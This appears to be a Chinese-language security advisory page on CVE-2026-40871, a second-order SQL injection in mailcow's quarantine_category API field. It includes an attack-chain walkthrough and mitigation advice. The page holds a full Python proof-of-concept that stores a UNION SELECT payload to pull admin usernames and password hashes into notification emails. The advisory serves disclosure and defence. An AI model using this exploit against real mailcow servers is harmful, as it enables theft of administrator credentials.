IPBUF安全漏洞报告
English
CVE-2026-40871 CVSS 7.2 高危

CVE-2026-40871 mailcow二阶SQL注入漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40871
漏洞类型
SQL注入
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
mailcow: dockerized

相关标签

SQL注入二阶注入mailcowCVE-2026-40871数据泄露

漏洞概述

mailcow: dockerized是基于Docker的开源群件/电子邮件套件。在2026-03b版本之前,该产品在Mailcow API的quarantine_category字段中存在二阶SQL注入漏洞。攻击者可通过/api/v1/add/mailbox端点注入恶意SQL代码,该代码稍后会在隔离通知作业执行时被触发。该漏洞允许攻击者提取敏感数据(如管理员凭据)并将其渲染在隔离通知邮件中,对系统安全性造成严重影响。

技术细节

该漏洞属于典型的二阶SQL注入(Second-order SQL Injection)。攻击链分为两个阶段:存储与利用。首先,攻击者利用高权限账户访问`/api/v1/add/mailbox`接口,在提交邮箱创建请求时,将恶意的SQL语句注入到`quarantine_category`参数中。由于系统未对该字段实施任何过滤或消毒机制,恶意载荷被成功存入数据库。随后,当系统定时任务调用`quarantine_notify.py`脚本生成隔离通知邮件时,脚本直接通过不安全的Python字符串格式化操作(%s)将存储的`quarantine_category`值拼接到SQL查询语句中。这一操作触发了SQL注入,导致恶意代码被执行。攻击者可通过构造UNION SELECT语句,从数据库中读取如管理员用户名和密码哈希等敏感信息,并最终将这些数据渲染在发送给用户的邮件内容中,从而实现数据窃取。

攻击链分析

STEP 1
1. 权限获取
攻击者需要获取高权限账户(PR:H)的API访问权限,以便调用邮件管理接口。
STEP 2
2. 注入存储
攻击者向 /api/v1/add/mailbox 发送POST请求,在 quarantine_category 参数中注入恶意SQL语句。由于缺乏验证,该语句被存入数据库。
STEP 3
3. 触发漏洞
等待系统后台运行 quarantine_notify.py 定时任务。该脚本读取存储的恶意字段并使用不安全的字符串格式化构造SQL查询。
STEP 4
4. 数据窃取
SQL查询被执行,攻击者通过UNION SELECT获取的敏感数据(如管理员密码)被嵌入到隔离通知邮件中发送给攻击者或被攻击者截获。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-40871: Second-order SQL Injection in mailcow # This script demonstrates how to inject a payload into the quarantine_category field. import requests target_url = "https://<mailcow-domain>/api/v1/add/mailbox" api_key = "<VALID_ADMIN_API_KEY>" # Requires High Privileges (PR:H) # Payload attempts to exfiltrate data using UNION SELECT # The injected SQL will be executed later by quarantine_notify.py sql_payload = "test' UNION SELECT username, password FROM admin -- " payload_data = { "domain": "example.com", "local_part": "testuser", "name": "Test User", "quota": "1024", "password": "StrongPassword123!", "quarantine_category": sql_payload # Vulnerable parameter } headers = { "X-API-Key": api_key, "Content-Type": "application/json" } try: response = requests.post(target_url, json=payload_data, headers=headers) if response.status_code == 200: print("[+] Payload stored successfully.") print("[+] Wait for the quarantine notification job to run.") print("[+] Check the generated notification email for exfiltrated admin credentials.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

mailcow: dockerized < 2026-03b

防御指南

临时缓解措施
如果无法立即升级,建议严格限制 /api/v1/add/mailbox 接口的访问权限,仅允许必要的管理员IP访问。同时,监控 quarantine_notify.py 脚本的执行日志及发出的隔离通知邮件内容,一旦检测到异常的SQL语法错误或可疑数据,立即调查受损账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表